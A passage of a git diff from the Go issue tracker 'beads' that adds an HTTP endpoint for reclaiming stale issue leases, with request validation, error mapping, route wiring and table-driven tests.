these labels are eligible. + LabelsAny *[]string `json:"labels_any,omitempty"` + + // OlderThanSeconds The grace window past a lease's own expiry, in seconds (fractions allowed): only a lease that expired more than this long ago is eligible. Absent means `0`, every currently expired lease. A negative value is refused. + OlderThanSeconds *float64 `json:"older_than_seconds,omitempty"` +} + +// ReclaimIssuesResult Every row the sweep reverted, in the order the sweep found them. +type ReclaimIssuesResult struct { + // Reclaimed One entry per reverted row. Empty array (never null) when nothing was stale in scope. + Reclaimed []ReclaimedLease `json:"reclaimed"` +} + +// ReclaimedLease One row a lease sweep reverted. +type ReclaimedLease = types.ReclaimedLease + // Ref Names ONE issue, either by an id that already exists or by the `key` a create item earlier in the same request gave itself. // // EXACTLY ONE OF THE TWO IS SET, and both cases the schema cannot express are a `400`: both members set is a caller that cannot say which it meant, and neither set is a reference to nothing. (Spelling that as a schema alternation would need `oneOf`, which this document does not use — see `ApplyItem`.) @@ -2793,6 +2831,9 @@ type ClaimNextIssueJSONRequestBody = ClaimNextRequest // DeleteIssuesJSONRequestBody defines body for DeleteIssues for application/json ContentType. type DeleteIssuesJSONRequestBody = DeleteIssuesRequest +// ReclaimIssuesJSONRequestBody defines body for ReclaimIssues for application/json ContentType. +type ReclaimIssuesJSONRequestBody = ReclaimIssuesRequest + // SweepIssuesJSONRequestBody defines body for SweepIssues for application/json ContentType. type SweepIssuesJSONRequestBody = SweepRequest diff --git a/internal/httpapi/claim.go b/internal/httpapi/claim.go index 24d79093b..5b5db6326 100644 --- a/internal/httpapi/claim.go +++ b/internal/httpapi/claim.go @@ -350,6 +350,7 @@ var ( _ uow.EdgeReaderSource = timedProvider{} _ uow.GraphCounterSource = timedProvider{} _ uow.BatchGetterSource = timedProvider{} + _ uow.LeaseReclaimerSource = timedProvider{} _ uow.RelationsSource = timedProvider{} _ uow.CommenterSource = timedProvider{} _ uow.BlockingAnnotatorSource = timedProvider{} @@ -474,6 +475,12 @@ func (p timedProvider) BatchGetter() (issueops.BatchGetter, error) { return uow.NewBatchGetter(p) } +// LeaseReclaimer builds the stale-lease sweep OVER THIS WRAPPER, for the same +// reason and with the same hazard as IssueReader. +func (p timedProvider) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return uow.NewLeaseReclaimer(p) +} + // IssueRelations builds the single-anchor neighbor role OVER THIS WRAPPER, for // the same reason and with the same hazard as IssueReader. It is the one // accessor here whose name is not the role's: the seam spells it IssueRelations diff --git a/internal/httpapi/pinning.go b/internal/httpapi/pinning.go index 2144038fb..01435a28b 100644 --- a/internal/httpapi/pinning.go +++ b/internal/httpapi/pinning.go @@ -28,6 +28,7 @@ var ( _ apigen.IssueWithCounts = types.IssueWithCounts{} _ apigen.IssueDetails = types.IssueDetails{} _ apigen.BatchGetIssue = types.BatchGetIssue{} + _ apigen.ReclaimedLease = types.ReclaimedLease{} _ apigen.IssueWithDependencyMetadata = types.IssueWithDependencyMetadata{} _ apigen.Dependency = types.Dependency{} _ apigen.TreeNode = types.TreeNode{} @@ -73,6 +74,7 @@ var ( _ []issueops.IssueBlocking = apigen.BlockingAnnotations{}.Items _ []types.Issue = apigen.BatchCreateResponse{}.Items _ []types.BatchGetIssue = apigen.BatchGetIssuesResult{}.Issues + _ []types.ReclaimedLease = apigen.ReclaimIssuesResult{}.Reclaimed _ []eventsjournal.Record = apigen.EventsPage{}.Records ) diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index d3252ed9a..87618d3bd 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -466,6 +466,12 @@ const ( // answer EdgeCountRequest.IDs and EdgeReadRequest already give, applied to // the issues themselves rather than their edges. OpBatchGetIssues = "batchGetIssues" + // OpReclaimIssues reverts every stale lease a request scopes back to ready, + // behind issueops.LeaseReclaimer. It is NOT releaseIssue repeated: that + // operation gives up ONE claim on the holder's say-so and refuses an unheld + // row, and this one sweeps MANY leases on a clock's say-so and reports an id + // that was not a stale lease by leaving it out of `reclaimed`. + OpReclaimIssues = "reclaimIssues" // OpListRelatedIssues reads ONE issue's neighbors in a named direction, // behind issueops.Relations. It is NOT listDependencies narrowed to one // anchor: that operation answers the stored edge ROWS with their targets @@ -720,6 +726,11 @@ var operationCodes = map[string][]Code{ // `ids` (*issueops.TooManyIDsError) and a blank entry. An empty `ids` is // legal and answers with an empty result, so it earns no refusal at all. OpBatchGetIssues: {CodeInvalidArgument, CodeUnauthenticated, CodeBusy, CodeDBUnavailable, CodeInternal}, + // No not_found and no conflict: an id that is not a stale lease is left out + // of `reclaimed` rather than refused, and the sweep guards nothing a caller + // named a version of. Its only 400s are the role's own refusals and the + // handler's shape checks. + OpReclaimIssues: {CodeInvalidArgument, CodeUnauthenticated, CodeBusy, CodeDBUnavailable, CodeInternal}, // The same vocabulary as the stored-edge read beside it, and no not_found // for a stronger version of the same reason: this operation probes no id's // existence at all, so there is nothing it could 404 on. diff --git a/internal/httpapi/reclaim.go b/internal/httpapi/reclaim.go new file mode 100644 index 000000000..62f55a108 --- /dev/null +++ b/internal/httpapi/reclaim.go @@ -0,0 +1,249 @@ +package httpapi + +import ( + "encoding/json" + "errors" + "math" + "net/http" + "slices" + "strings" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// The request body's member vocabulary. The schema is +// additionalProperties: false, so anything else is refused BY NAME, and on this +// operation for the sweep's sharper reason: a scope term the server silently +// ignored would widen what is reverted. +const ( + reclaimActorMember = "actor" + reclaimOlderThanMember = "older_than_seconds" + reclaimIDsMember = "ids" + reclaimAssigneesMember = "assignees" + reclaimLabelsMember = "labels" + reclaimLabelsAnyMember = "labels_any" + reclaimExcludeLabelsMember = "exclude_labels" + reclaimAnyReplicaMember = "any_replica" +) + +// reclaimMembers is the whole vocabulary, in one place, so the unknown-member +// refusal and the decoding below cannot come to disagree about what this +// operation accepts. +var reclaimMembers = []string{ + reclaimActorMember, + reclaimOlderThanMember, + reclaimIDsMember, + reclaimAssigneesMember, + reclaimLabelsMember, + reclaimLabelsAnyMember, + reclaimExcludeLabelsMember, + reclaimAnyReplicaMember, +} + +// maxReclaimOlderThanSeconds is the smallest grace window time.Duration can +// NOT hold: MaxInt64/1e9 as a float64 rounds up, so converting it back yields +// 2^63 nanoseconds, which wraps negative. The check is >=, so every accepted +// value converts in range; a refused one is not wrapped into a negative +// duration the role would refuse with a message about a value never sent. +var maxReclaimOlderThanSeconds = float64(math.MaxInt64) / float64(time.Second) + +// handleReclaimIssues answers POST /v0/beads/issues:reclaim. +// +// WHAT THIS HANDLER DOES NOT DO: it does not decide which lease is stale, does +// not apply the scope, does not honor the replica guard and does not mint the +// revisions. All of that is issueops.LeaseReclaimer, the same library surface +// `bd reclaim` calls, so a second front door cannot sweep differently from the +// first. Everything above the role here is argument validation and projection. +// +// THE ACTOR IS REQUIRED and validated by the claim's rules: every reverted row +// records a recovery event attributed to it, and the server's own identity +// would be meaningless to a remote reaper. +func (s *Server) handleReclaimIssues(w http.ResponseWriter, r *http.Request) { + if !s.requireNoQuery(w, r) { + return + } + if !s.requireJSONContent(w, r) { + return + } + request, ok := s.reclaimRequest(w, r) + if !ok { + return + } + + reclaimer, err := s.leaseReclaimer(r) + if err != nil { + s.failErr(w, r, err) + return + } + result, err := reclaimer.Reclaim(r.Context(), request) + if err != nil { + s.failReclaimErr(w, r, err) + return + } + writeJSON(w, reclaimResponse(result)) +} + +// reclaimRequest decodes the body into the role's request, member by member, +// so every refusal can NAME the member it is about. +func (s *Server) reclaimRequest(w http.ResponseWriter, r *http.Request) (issueops.ReclaimRequest, bool) { + members, res := decodeJSONObjectBody(w, r) + if res != nil { + s.fail(w, r, *res) + return issueops.ReclaimRequest{}, false + } + + var unknown []string + for name := range members { + if !slices.Contains(reclaimMembers, name) { + unknown = append(unknown, name) + } + } + if len(unknown) > 0 { + offender := slices.Min(unknown) + requestInfo(r.Context()).refuse(offender) + s.fail(w, r, InvalidArgument(offender, ReasonUnknownParameter, + "this operation's request body carries "+reclaimMemberList()+" and nothing else")) + return issueops.ReclaimRequest{}, false + } + + var request issueops.ReclaimRequest + + raw, ok := members[reclaimActorMember] + if !ok { + s.fail(w, r, InvalidArgument(reclaimActorMember, ReasonInvalidValue, + "`"+reclaimActorMember+"` is required")) + return issueops.ReclaimRequest{}, false + } + var actor *string + if err := json.Unmarshal(raw, &actor); err != nil || actor == nil { + s.fail(w, r, InvalidArgument(reclaimActorMember, ReasonInvalidValue, + "`"+reclaimActorMember+"` must be a string")) + return issueops.ReclaimRequest{}, false + } + trimmed, res := validateActor(*actor) + if res != nil { + s.fail(w, r, *res) + return issueops.ReclaimRequest{}, false + } + request.Actor = trimmed + + if raw, ok := members[reclaimOlderThanMember]; ok { + var seconds *float64 + if err := json.Unmarshal(raw, &seconds); err != nil || seconds == nil { + s.fail(w, r, InvalidArgument(reclaimOlderThanMember, ReasonInvalidValue, + "`"+reclaimOlderThanMember+"` must be a number")) + return issueops.ReclaimRequest{}, false + } + if *seconds < 0 || *seconds >= maxReclaimOlderThanSeconds { + s.fail(w, r, InvalidArgument(reclaimOlderThanMember, ReasonInvalidValue, + "`"+reclaimOlderThanMember+"` must be a non-negative number of seconds a duration can hold")) + return issueops.ReclaimRequest{}, false + } + request.OlderThan = time.Duration(*seconds * float64(time.Second)) + } + + for _, scope := range []struct { + member string + dest *[]string + }{ + {reclaimIDsMember, &request.Filter.IDs}, + {reclaimAssigneesMember, &request.Filter.Assignees}, + {reclaimLabelsMember, &request.Filter.Labels}, + {reclaimLabelsAnyMember, &request.Filter.LabelsAny}, + {reclaimExcludeLabelsMember, &request.Filter.ExcludeLabels}, + } { + raw, ok := members[scope.member] + if !ok { + continue + } + var values *[]string + if err := json.Unmarshal(raw, &values); err != nil || values == nil { + s.fail(w, r, InvalidArgument(scope.member, ReasonInvalidValue, + "`"+scope.member+"` must be an array of strings")) + return issueops.ReclaimRequest{}, false + } + // A PRESENT, EMPTY scope is refused rather than read as "no scope". + // The two would sweep the same rows, and that is the hazard: `bd + // reclaim --label "$LANE"` with LANE unset refuses for exactly this + // reason, so a caller that meant to narrow and sent nothing gets told + // rather than getting a workspace-wide sweep. + if len(*values) == 0 { + s.fail(w, r, InvalidArgument(scope.member, ReasonInvalidValue, + "`"+scope.member+"` is empty; an empty scope would reclaim everything, so omit the member to sweep without it")) + return issueops.ReclaimRequest{}, false + } + // The id cap and every blank entry are the ROLE's refusals + // (ValidateReclaimRequest, the one definition the CLI shares) and + // reach the wire through failReclaimErr, which names the field the + // role names. + *scope.dest = *values + } + + if raw, ok := members[reclaimAnyReplicaMember]; ok { + var value *bool + if err := json.Unmarshal(raw, &value); err != nil || value == nil { + s.fail(w, r, InvalidArgument(reclaimAnyReplicaMember, ReasonInvalidValue, + "`"+reclaimAnyReplicaMember+"` must be a boolean")) + return issueops.ReclaimRequest{}, false + } + request.Filter.AnyReplica = *value + } + + return request, true +} + +func reclaimMemberList() string { + quoted := make([]string, len(reclaimMembers)) + for i, name := range reclaimMembers { + quoted[i] = "`" + name + "`" + } + return strings.Join(quoted, ", ") +} + +// reclaimFieldMembers spells each field the role's *ReclaimFieldError can +// name as the wire member it arrived in. +var reclaimFieldMembers = map[string]string{ + issueops.ReclaimFieldActor: reclaimActorMember, + issueops.ReclaimFieldOlderThan: reclaimOlderThanMember, + issueops.ReclaimFieldIDs: reclaimIDsMember, + issueops.ReclaimFieldAssignees: reclaimAssigneesMember, + issueops.ReclaimFieldLabels: reclaimLabelsMember, + issueops.ReclaimFieldLabelsAny: reclaimLabelsAnyMember, + issueops.ReclaimFieldExcludeLabels: reclaimExcludeLabelsMember, +} + +// failReclaimErr answers a failed reclaim. issueops.ErrValidation is mapped to +// a 400 HERE, in the sweep's shape, because the role validates what the +// handler does not duplicate. The refusal names the member the role's error +// is about: `ids` for the cap, the *ReclaimFieldError's own field otherwise, +// and no member at all for a validation that names none. +func (s *Server) failReclaimErr(w http.ResponseWriter, r *http.Request, err error) { + if !errors.Is(err, issueops.ErrValidation) { + s.failErr(w, r, err) + return + } + member := "" + var capErr *issueops.TooManyReclaimIDsError + var fieldErr *issueops.ReclaimFieldError + switch { + case errors.As(err, &capErr): + member = reclaimIDsMember + case errors.As(err, &fieldErr): + member = reclaimFieldMembers[fieldErr.Field] + } + if member != "" { + requestInfo(r.Context()).refuse(member) + } + s.fail(w, r, InvalidArgument(member, ReasonInvalidValue, err.Error())) +} + +// reclaimResponse projects the role's result onto the wire envelope. +// apigen.ReclaimedLease IS types.ReclaimedLease (pinning.go), so this is a +// copy rather than a field list; `reclaimed` is never null. +func reclaimResponse(result issueops.ReclaimResult) apigen.ReclaimIssuesResult { + body := apigen.ReclaimIssuesResult{Reclaimed: []apigen.ReclaimedLease{}} + body.Reclaimed = append(body.Reclaimed, result.Reclaimed...) + return body +} diff --git a/internal/httpapi/reclaim_test.go b/internal/httpapi/reclaim_test.go new file mode 100644 index 000000000..4db65aeda --- /dev/null +++ b/internal/httpapi/reclaim_test.go @@ -0,0 +1,317 @@ +package httpapi + +import ( + "encoding/json" + "errors" + "fmt" + "net/http" + "reflect" + "strconv" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// These cover the transport half of POST /v0/beads/issues:reclaim: the body +// shape, the refusals the handler raises itself, how the role's own refusals +// reach the wire, and the projection of the role's result. Everything below +// the wire (staleness, scope, the replica guard, the minted revision, the hook) +// is issueops.LeaseReclaimer's, pinned by +// backend/conformance/lease_reclaimer_contract.go on all four legs. + +const reclaimPath = "/v0/beads/issues:reclaim" + +func newReclaimServer(t *testing.T, reclaimer *roleLeaseReclaimer) *testServer { + t.Helper() + return newTestServer(t, rolesConfig(Config{LeaseReclaimer: reclaimer})) +} + +// TestReclaimIssuesMapsEveryMemberOntoTheRole pins the request half: every +// member reaches the role's request, the actor trimmed by the claim's rules and +// the fractional grace window converted exactly. +func TestReclaimIssuesMapsEveryMemberOntoTheRole(t *testing.T) { + reclaimer := &roleLeaseReclaimer{result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{}}} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, `{ + "actor": " reaper ", + "older_than_seconds": 90.5, + "ids": ["bd-1", "bd-2"], + "assignees": ["w1"], + "labels": ["lane-a"], + "labels_any": ["x", "y"], + "exclude_labels": ["pinned"], + "any_replica": true + }`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + calls := reclaimer.reclaimRequests() + if len(calls) != 1 { + t.Fatalf("role calls = %d, want 1", len(calls)) + } + want := issueops.ReclaimRequest{ + Actor: "reaper", + OlderThan: 90*time.Second + 500*time.Millisecond, + Filter: issueops.ReclaimFilter{ + IDs: []string{"bd-1", "bd-2"}, + Assignees: []string{"w1"}, + Labels: []string{"lane-a"}, + LabelsAny: []string{"x", "y"}, + ExcludeLabels: []string{"pinned"}, + AnyReplica: true, + }, + } + if !reflect.DeepEqual(calls[0], want) { + t.Fatalf("role request = %+v, want %+v", calls[0], want) + } +} + +// TestReclaimIssuesDefaultsToAnUnscopedZeroGraceSweep pins the absent members: +// no grace window is zero, no scope is no scope, and any_replica is off. +func TestReclaimIssuesDefaultsToAnUnscopedZeroGraceSweep(t *testing.T) { + reclaimer := &roleLeaseReclaimer{result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{}}} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, `{"actor":"reaper"}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + calls := reclaimer.reclaimRequests() + if len(calls) != 1 || !reflect.DeepEqual(calls[0], issueops.ReclaimRequest{Actor: "reaper"}) { + t.Fatalf("role calls = %+v, want one bare request from reaper", calls) + } +} + +// TestReclaimIssuesAnswersEveryReclaimedLeaseWithItsRevision pins the response +// half: each entry carries id, previous_owner and the role's revision as the +// decimal string, past 2^53 so a float64 anywhere on the path would show. +func TestReclaimIssuesAnswersEveryReclaimedLeaseWithItsRevision(t *testing.T) { + reclaimer := &roleLeaseReclaimer{result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{ + {ID: "bd-1", PreviousOwner: "w1", Revision: types.RevisionToken(guardToken)}, + {ID: "bd-2", PreviousOwner: "", Revision: "7"}, + }}} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, `{"actor":"reaper"}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + raw := readAll(t, resp) + var body struct { + Reclaimed []map[string]any `json:"reclaimed"` + } + if err := json.Unmarshal([]byte(raw), &body); err != nil { + t.Fatalf("decode %q: %v", raw, err) + } + if len(body.Reclaimed) != 2 { + t.Fatalf("reclaimed = %v, want 2 entries", body.Reclaimed) + } + first := body.Reclaimed[0] + if first["id"] != "bd-1" || first["previous_owner"] != "w1" || first["revision"] != types.RevisionToken(guardToken) { + t.Errorf("reclaimed[0] = %v, want {bd-1 w1 %s}", first, types.RevisionToken(guardToken)) + } + if second := body.Reclaimed[1]; second["previous_owner"] != "" || second["revision"] != "7" { + t.Errorf("reclaimed[1] = %v, want an empty previous_owner and revision \"7\"", second) + } +} + +// TestReclaimIssuesAnswersAnEmptyArrayNotNull pins `reclaimed: []` when the +// sweep found nothing, whatever the role handed back. +func TestReclaimIssuesAnswersAnEmptyArrayNotNull(t *testing.T) { + for _, result := range []issueops.ReclaimResult{{}, {Reclaimed: []issueops.ReclaimedLease{}}} { + ts := newReclaimServer(t, &roleLeaseReclaimer{result: result}) + resp := ts.claim(t, reclaimPath, `{"actor":"reaper","ids":["bd-gone"]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + if raw := readAll(t, resp); !strings.Contains(raw, `"reclaimed":[]`) { + t.Errorf("body = %s, want `\"reclaimed\":[]`", raw) + } + } +} + +// TestReclaimIssuesRefusesAMalformedBodyByName pins every refusal the handler +// raises itself: each is a 400 naming its member, and none reaches the role. +func TestReclaimIssuesRefusesAMalformedBodyByName(t *testing.T) { + for _, tc := range []struct { + name, body, param, reason string + }{ + {"unknown member", `{"actor":"r","force":true}`, "force", string(ReasonUnknownParameter)}, + {"missing actor", `{"ids":["bd-1"]}`, "actor", string(ReasonInvalidValue)}, + {"null actor", `{"actor":null}`, "actor", string(ReasonInvalidValue)}, + {"blank actor", `{"actor":" "}`, "actor", ""}, + {"negative grace", `{"actor":"r","older_than_seconds":-1}`, "older_than_seconds", string(ReasonInvalidValue)}, + {"string grace", `{"actor":"r","older_than_seconds":"10m"}`, "older_than_seconds", string(ReasonInvalidValue)}, + {"grace past a duration", `{"actor":"r","older_than_seconds":1e300}`, "older_than_seconds", string(ReasonInvalidValue)}, + {"ids not an array", `{"actor":"r","ids":"bd-1"}`, "ids", string(ReasonInvalidValue)}, + {"empty ids", `{"actor":"r","ids":[]}`, "ids", string(ReasonInvalidValue)}, + {"empty labels", `{"actor":"r","labels":[]}`, "labels", string(ReasonInvalidValue)}, + {"empty assignees", `{"actor":"r","assignees":[]}`, "assignees", string(ReasonInvalidValue)}, + {"null exclude", `{"actor":"r","exclude_labels":null}`, "exclude_labels", string(ReasonInvalidValue)}, + {"any_replica not a bool", `{"actor":"r","any_replica":"yes"}`, "any_replica", string(ReasonInvalidValue)}, + } { + t.Run(tc.name, func(t *testing.T) { + reclaimer := &roleLeaseReclaimer{} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, tc.body) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeInvalidArgument) { + t.Errorf("code = %v, want %q", body["code"], CodeInvalidArgument) + } + if body["param"] != tc.param { + t.Errorf("param = %v, want %s", body["param"], tc.param) + } + if tc.reason != "" && body["reason"] != tc.reason { + t.Errorf("reason = %v, want %s", body["reason"], tc.reason) + } + if calls := reclaimer.reclaimRequests(); len(calls) != 0 { + t.Errorf("the role was called %d times for a refused request", len(calls)) + } + }) + } +} + +// TestReclaimIssuesRefusesAQueryParameter pins the document-level +// unknown-parameter rule on this operation, which declares none. +func TestReclaimIssuesRefusesAQueryParameter(t *testing.T) { + reclaimer := &roleLeaseReclaimer{} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath+"?older_than=1h", `{"actor":"reaper"}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["param"] != "older_than" || body["reason"] != string(ReasonUnknownParameter) { + t.Errorf("param/reason = %v/%v, want older_than/unknown_parameter", body["param"], body["reason"]) + } + if calls := reclaimer.reclaimRequests(); len(calls) != 0 { + t.Errorf("the role was called %d times for a refused request", len(calls)) + } +} + +// TestReclaimIssuesLeavesTheIDsCapToTheRole pins that the handler neither +// counts nor trims `ids`: the whole oversized request reaches the role, and +// the role's *TooManyReclaimIDsError comes back as a 400 naming `ids`. +func TestReclaimIssuesLeavesTheIDsCapToTheRole(t *testing.T) { + const over = issueops.MaxReclaimIDs + 1 + reclaimer := &roleLeaseReclaimer{err: &issueops.TooManyReclaimIDsError{Requested: over, Cap: issueops.MaxReclaimIDs}} + ts := newReclaimServer(t, reclaimer) + + ids := make([]string, over) + for i := range ids { + ids[i] = fmt.Sprintf(`"bd-%d"`, i) + } + resp := ts.claim(t, reclaimPath, `{"actor":"reaper","ids":[`+strings.Join(ids, ",")+`]}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeInvalidArgument) || body["param"] != "ids" || body["reason"] != string(ReasonInvalidValue) { + t.Errorf("problem = %v, want invalid_argument/ids/invalid_value", body) + } + calls := reclaimer.reclaimRequests() + if len(calls) != 1 || len(calls[0].Filter.IDs) != over { + t.Fatalf("role calls = %d, want one carrying all %d ids", len(calls), over) + } +} + +// TestReclaimIssuesAnswersABlankIDThroughTheRole pins the other role-side +// refusal: a blank entry in `ids` reaches the role (it is not pre-checked +// here), and its ErrValidation is a 400 naming `ids`. +func TestReclaimIssuesAnswersABlankIDThroughTheRole(t *testing.T) { + reclaimer := &roleLeaseReclaimer{err: &issueops.ReclaimFieldError{ + Field: issueops.ReclaimFieldIDs, Detail: "validation failed: reclaim scope id at position 1 is empty", + }} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, `{"actor":"reaper","ids":["bd-1",""]}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + if body := decodeBody(t, resp); body["param"] != "ids" { + t.Errorf("param = %v, want ids", body["param"]) + } + if calls := reclaimer.reclaimRequests(); len(calls) != 1 { + t.Fatalf("role calls = %d, want 1", len(calls)) + } +} + +// TestReclaimIssuesNamesTheFieldTheRoleRefused pins that a role refusal is +// attributed to the member the role's *ReclaimFieldError names, not to `ids` +// by default, and that the handler leaves blank scope entries to the role: +// the request reaches it. +func TestReclaimIssuesNamesTheFieldTheRoleRefused(t *testing.T) { + for field, member := range reclaimFieldMembers { + t.Run(field, func(t *testing.T) { + reclaimer := &roleLeaseReclaimer{err: &issueops.ReclaimFieldError{Field: field, Detail: "validation failed: refused"}} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, `{"actor":"reaper","labels_any":["a"," "]}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + if body := decodeBody(t, resp); body["param"] != member { + t.Errorf("param = %v, want %s", body["param"], member) + } + calls := reclaimer.reclaimRequests() + if len(calls) != 1 || !reflect.DeepEqual(calls[0].Filter.LabelsAny, []string{"a", " "}) { + t.Fatalf("role calls = %+v, want one carrying the blank entry unfiltered", calls) + } + }) + } +} + +// TestReclaimFieldMembersCoverEveryRoleField pins the attribution table +// against the role's whole field vocabulary, so a field added to the role +// cannot reach the wire with no member named. +func TestReclaimFieldMembersCoverEveryRoleField(t *testing.T) { + for _, field := range []string{ + issueops.ReclaimFieldActor, issueops.ReclaimFieldOlderThan, issueops.ReclaimFieldIDs, + issueops.ReclaimFieldAssignees, issueops.ReclaimFieldLabels, issueops.ReclaimFieldLabelsAny, + issueops.ReclaimFieldExcludeLabels, + } { + if reclaimFieldMembers[field] == "" { + t.Errorf("role field %q has no wire member", field) + } + } +} + +// TestReclaimIssuesRefusesTheFirstUnrepresentableGraceWindow pins the +// boundary: float64(MaxInt64)/1e9 converts back to 2^63 nanoseconds, which +// wraps negative, so that exact value is refused, not passed on. +func TestReclaimIssuesRefusesTheFirstUnrepresentableGraceWindow(t *testing.T) { + reclaimer := &roleLeaseReclaimer{} + ts := newReclaimServer(t, reclaimer) + + value := strconv.FormatFloat(maxReclaimOlderThanSeconds, 'g', -1, 64) + resp := ts.claim(t, reclaimPath, `{"actor":"reaper","older_than_seconds":`+value+`}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("older_than_seconds=%s: status = %d, want 400: %s", value, resp.StatusCode, readAll(t, resp)) + } + if body := decodeBody(t, resp); body["param"] != "older_than_seconds" { + t.Errorf("param = %v, want older_than_seconds", body["param"]) + } + if calls := reclaimer.reclaimRequests(); len(calls) != 0 { + t.Fatalf("the role received %+v; an out-of-range window must not reach it", calls) + } +} + +// TestReclaimIssuesDoesNotDisguiseAStorageFailure pins that a failure that is +// not a validation is not answered as the caller's fault. +func TestReclaimIssuesDoesNotDisguiseAStorageFailure(t *testing.T) { + ts := newReclaimServer(t, &roleLeaseReclaimer{err: errors.New("disk on fire")}) + + resp := ts.claim(t, reclaimPath, `{"actor":"reaper"}`) + if resp.StatusCode < 500 { + t.Fatalf("status = %d, want a 5xx: %s", resp.StatusCode, readAll(t, resp)) + } +} diff --git a/internal/httpapi/roles_test.go b/internal/httpapi/roles_test.go index 083923e9c..6ada7952d 100644 --- a/internal/httpapi/roles_test.go +++ b/internal/httpapi/roles_test.go @@ -162,6 +162,34 @@ func (g *roleBatchGetter) getManyRequests() []issueops.GetManyRequest { return append([]issueops.GetManyRequest(nil), g.calls...) } +// roleLeaseReclaimer is the stale-lease sweep of the store-shaped source, its +// own fake beside roleReleaser for roleBatchGetter's reason: a separate role on +// a separate accessor, so one fake answering both would let a test pass on a +// server that had wired the reclaim handler to the wrong role. +type roleLeaseReclaimer struct { + result issueops.ReclaimResult + err error + + mu sync.Mutex + calls []issueops.ReclaimRequest +} + +func (l *roleLeaseReclaimer) Reclaim(_ context.Context, req issueops.ReclaimRequest) (issueops.ReclaimResult, error) { + l.mu.Lock() + l.calls = append(l.calls, req) + l.mu.Unlock() + if l.err != nil { + return issueops.ReclaimResult{}, l.err + } + return l.result, nil +} + +func (l *roleLeaseReclaimer) reclaimRequests() []issueops.ReclaimRequest { + l.mu.Lock() + defer l.mu.Unlock() + return append([]issueops.ReclaimRequest(nil), l.calls...) +} + // roleRelations is the single-anchor NEIGHBOR role of the store-shaped source, // its own fake beside roleEdgeReader for roleGraphCounter's reason: the two sit // on adjacent accessors and answer about the same edges, so one fake serving @@ -960,6 +988,9 @@ func rolesConfig(cfg Config) Config { if cfg.BatchGetter == nil { cfg.BatchGetter = &roleBatchGetter{} } + if cfg.LeaseReclaimer == nil { + cfg.LeaseReclaimer = &roleLeaseReclaimer{} + } if cfg.Relations == nil { cfg.Relations = &roleRelations{} } diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index 4c426275a..1dc78fa94 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -783,6 +783,17 @@ var routeTable = []route{ implemented: true, handler: (*Server).handleBatchGetIssues, }, + { + op: OpReclaimIssues, + method: http.MethodPost, + // A literal collection-level custom method, registered and preferred + // over the claim's wildcard for the sweep row's reason: without it, + // a reclaim would parse as a claim of an issue called ":reclaim". + pattern: "/v0/beads/issues:reclaim", + capability: "issues.reclaim", + implemented: true, + handler: (*Server).handleReclaimIssues, + }, { op: OpAddDependencies, method: http.MethodPost, diff --git a/internal/httpapi/server.go b/internal/httpapi/server.go index a3b928390..3a27b520a 100644 --- a/internal/httpapi/server.go +++ b/internal/httpapi/server.go @@ -287,6 +287,12 @@ type Config struct { // rather than refusing the call. Required on the same terms as every field // here. BatchGetter issueops.BatchGetter + // LeaseReclaimer is the stale-lease sweep behind + // POST /v0/beads/issues:reclaim. It is a SEPARATE field from Releaser for + // the reason issueops.LeaseReclaimer's own doc gives: Releaser gives up ONE + // claim on its holder's say-so, and this reverts MANY on a clock's. + // Required on the same terms as every field here. + LeaseReclaimer issueops.LeaseReclaimer // Relations is the single-anchor neighbor read behind // GET /v0/beads/issues/{id}/related. It is a SEPARATE field from EdgeReader // for the reason issueops.EdgeReader's own doc gives at length: that role @@ -423,6 +429,7 @@ type Server struct { issueEdges issueops.EdgeReader issueEdgeCounter issueops.GraphCounter issueBatchGetter issueops.BatchGetter + issueReclaimer issueops.LeaseReclaimer issueRelations issueops.Relations issueCommenter issueops.Commenter issueBlocking issueops.BlockingAnnotator @@ -635,6 +642,7 @@ func Listen(cfg Config) (*Server, error) { issueEdges: cfg.EdgeReader, issueEdgeCounter: cfg.GraphCounter, issueBatchGetter: cfg.BatchGetter, + issueReclaimer: cfg.LeaseReclaimer, issueRelations: cfg.Relations, issueCommenter: cfg.Commenter, issueBlocking: cfg.BlockingAnnotator, @@ -757,12 +765,12 